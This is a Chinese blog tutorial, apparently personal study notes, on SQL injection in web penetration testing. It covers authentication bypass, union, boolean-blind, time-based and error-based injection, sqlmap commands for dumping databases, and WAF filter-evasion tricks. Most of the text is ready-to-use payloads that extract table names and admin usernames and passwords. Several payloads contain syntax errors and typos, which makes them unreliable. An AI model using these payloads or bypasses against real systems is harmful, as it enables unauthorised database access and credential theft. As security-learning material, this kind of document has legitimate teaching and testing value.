Gsupl.落浅~zbxGsupl.落浅~

04:26:03 AM

西雅图

web渗透—sql注入

Gsupl.落浅·2024-08-11 21:55·40 次阅读

web渗透—sql注入

一:union联合注入

1、万能密码

  • and优先级高于or,先执行and; 则username = "用户提交" and password ="1"为假;or后面的条件恒为真;则where条件为真;输出admin表中所有的信息
Copy
select * from admin where username = "用户提交" and password ="1" or "1"="1"

例题:

Copy
?username=admin'+or+1=1#&password=1 <==> ?username=admin&password=1'+or+1=1#

image

2、数字型注入

  • infromrtion_schema数据库
    1、table_name、table_schema、column_name三个字段分别表示表名,数据库名,字段名
    2、information_schema.tables(存放表) information_schema.columns(存放字段)
Copy
注入点:select * from news id=1
Copy
判断字段数 select * from news id=-1 order by 2#
Copy
查询数据库名称和版本 -1 union database(),version()# //数据库为sqli
Copy
查询表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //表名为flag
Copy
查询字段名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'# //字段为flag
Copy
查询内容 -1 union select 1,group_concat(flag) from flag# //从flag表中查询flag字段的内容

例题:

Copy
?id=-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--+ ?id=-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='admin'--+ ?id=-1+union+select+1,group_concat(username,password)+from+admin--+

拿到登录账号和密码
image

3、字符型注入

Copy
注入点:select * from news where id='1' // 使用1'#闭合
Copy
字段数:1' order by 1,2,3,4,...#//字段数为2
Copy
显示位 1' union select 1,2#//判断显示信息是第几列的信息
Copy
数据库和版本信息:-1' union select database(),version()# //?id=-1 让前面的数据为假;这样才能输出后面的信息;否者后面信息不回显
Copy
表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#//表名为flag
Copy
字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#//字段为flag
Copy
内容:-1' union select 1,group_concat(flag) from flag#

4、union注入passby

  • php常见过滤函数

str_replace()

preg_replace()

preg_math()

  • 常见绕过方式

大小写绕过

双写绕过

16进制编码绕过

eg:

Copy
select * from admin where id=1 union select 1,group_concat(column_name) from infromation_schema.columns where table_name='flag' //假设flag被过滤;可以将falg进行编码转换为16进制0x666C6167

二:布尔盲注

1、布尔盲注利用场景

(1)waf完全过滤union关键字,无法进行联合注入;并且页面不回显信息;但是会返回success和faild等信息

(2)union不能用就是用and进行盲注

//1=1恒为真;这样就可以测试前面id=1的真假;如果为真的回显success;为假返回fail;可以爆破出注入点

Copy
Select * from admin where id=1 and 1=1

2、注入过程

Copy
获取数据库长度:id=1 and length(database())=num//使用bp爆破
Copy
获取数据库名称: # substr<==>mid 截取数据库名称的第一个字符判断是否为a;根据length一个字符一个字符的爆破; id=1 and substr(database(),1,1)='a' #也可以使用ascii编码进行爆破 id=1 and ascii(substr(database(),1,1))=96//假设数据库为sqli
Copy
获取表名称 # limit 1,1<==>1 offset 0 表示截取第一个表 # mid(1,1) <==>from 1 for 1 表示截取第一个表的第一个字符 # ord<==>substr 表示将第一个字符转换为ascii码 id=1 and ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
Copy
获取字段名称 # limit 0,1 截取第一个字段 # mid 1,1 截取第一个字段第一个字符 # ord 第一个字段第一个字符转换为ascii码 id=1 and(ord(mid(select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)=96
Copy
获取内容 # mid(1,1) 截取第一个数据第一个字母 id=1 and(mid(select 字段 from 表名),1,1)=97//bp抓包爆破

3、布尔注入passby

(1)常见的过滤

  • 过滤逗号

eg1: substr<==>mid

Copy
select * from admin where id=1 and length(database(),1,1) <==> select * from admin where id=1 and length(database() from 1 for 1)

eg2:limit

Copy
id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96 <==> id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' 1 offset 0) from 1 for 1)=96
  • 过滤比较运算符'='

eg1:'=' <==> in

Copy
id=1 and length(database(),1,1)=num <==> id=1 and length(database() from 1 for 1) in ('a')

eg2: = <==> between and

Copy
id=1 and length(database(),1,1)=num <==> id=1 and length (database(),form 1 for 1) between 'a' and 't'
  • 过滤空格

'空格' <> /**/ <> %26%26

  • 过滤substr

substr <==> mid

(2)综合练习

Copy
id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96 <==> id=1/**/ord(substr(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_name/**/in(0x73716C69)/**/1/**/offset/**/0)from/**/1/**/for/**/1/**/)/**/in/**/('96')

三:延时盲注

1、利用场景

(1)无法利用页面显示结果判断sql注入是否执行成功;此时可以利用sql语句执行的延时来判断sql语句是否执行成功

(2)常用的延时函数

sleep(num)

Benchmark(num,function)

2、注入过程

Copy
# 获取数据库长度 # 数据库长度为7则执行sleep7,否则不执行 id=1 and if(length(database()=7,sleep(3),null)
Copy
#获取数据库名称 # 数据库第一个字符为w执行sleep(3),否则为null id=1 and if(substr(database(),1,1)='w',sleep(3),null)
Copy
#获取表名称 #limit 0,1 <==> 1 offset 0 表示第一个表 # substr 1,1 <==> from 1 for 1 表示第一个表的第一个字符 # 第一个表的第一个字符为a执行sleep(3),否则不执行 id=1 and if((substr(select table_name from information_schema.tables where table_schema=database()limit 0,1)1,1)='a')),sleep(3),null)
Copy
#获取字段 id=1 and if((substr(select column_name form information_schema.columns where table_name=’admin’ limit 0,1),1,1)=’a’),sleep(3),null)
Copy
#查询数据内容 id=1 and if((substr(select user from user limit 0,1),1,1)=’a’),sleep(3),null)

四:报错注入

1、原理

  • 报错注入利用场景

盲注无法进行注入;利用mysql数据库报错;导致输出查询数据信息

  • 报错注入函数

floor()

updatexml()

extractvalue()

2、注入过程

  • floor()
Copy
# paylod # group by是分组;concat<==>group_cancat都是拼接函数 # 替换version()完成注入 Id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • updatexml(data1,data2,data3)

Data1:xml文档对象的名称

Data2:xpath格式的字符串;不符合xpath格式会报错

Data3:新的替换格式

Copy
# Payload: # Select * from admin where id =1 and upadtexml(1,concat(0x7e,version(),0x7e),1);
  • extractvlaue()
Copy
# Payload Select * from admin where id=1 and extractvalue(1,concat(0x7e,version,0x7e)); //直接替换version();比如查询数据库;就替换成database()

五:sqlmap

1、介绍
sqlmap是一个开源的渗透测试工具;可以自动检测和利用sql注入漏洞并接管数据库服务器;它具有强大的检索引擎;同时具有众多功能;包括数据库指纹的识别以及从数据库中获取数据;访问底层文件系统以及在操作系统中执行命令!

2、sqlmap使用

(1) 基本用法

Copy
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch --dbs//获取数据库名称
Copy
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli --tables//获取表的名称
Copy
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli -T admin --columns//获取字段的名称
Copy
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli -T admin -C username,password --dump//获取具体的内容

3、sqlmap POST注入

(1)方法1:

Copy
Salmap -u “url” --form

(2)方法2:

Copy
Sqlmap -u “url” --data=""

(3)方法3:

Copy
Sqlmap -r “post.txt” -batch --cookie="" --dbs

六:sql注入passby

**1、常见的过滤

(1)过滤and

Copy
and <==> && <==> %26%26
Copy
#数据库注释 --+(注释内容) #(注释内容) /*注释内容*/

(2)大小写绕过 Union

(3)双写绕过 ununionion

(4)内敛注释绕过

Copy
# 如果过滤selecrt 可以使用/!select/绕过 Select * from admin where id=1 Union /*!select*/ 1,2,3,4,5;

(5)单引号过滤

Copy
select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema= 'admim' <==> select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema=0x61646D696E <==> select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema=char(97)+char(100)+char(109)+char(105)+char(110)

(6)空格过滤

Copy
# 括号绕过 select(id)from(admin)where(id=1) # /**/绕过 select/**/id/**/from/**/admin/**/where/**/id=1 # 反引号绕过 select ‘id’from’admin’where’id=1# url编码绕过

(7)过滤 ‘=’

Copy
# like和ilike替换 Select * from admin where usename=’admin’<==>username like ‘ admin’ # between and替换 Select * from admin where usename between ’admin’ and ’admin’ #regexp替换 Select * from admin where usename=’admin’<==>username regexp ‘admin’

(8)逗号的过滤

Copy
# substr(1,1) <==> form 1 form 1 Substr(database(),1,1)<==>substr(database() from 1 for 1) Limit 1,1 <==> limit 1 offset 0;//0为变量

2、综合练习

Copy
select * from admin where id=1 and(ord(substr(select table_name from information_schema.tables where table_schema=database()limit 1,1)1,1)='a') <==> select/**/*/**/from/**/admin/**/where/**/id/**/like/**/1/**/%26%26(ord(mid(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/1/**/offset/**/0)from/**/1/**/for/**/1)like/**/0x61)

2024-08-05 13:48:17 星期一

posted @   Gsupl.落浅~  阅读(40)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示

目录导航

一:union联合注入
二:布尔盲注
三:延时盲注
四:报错注入
五:sqlmap
六:sql注入passby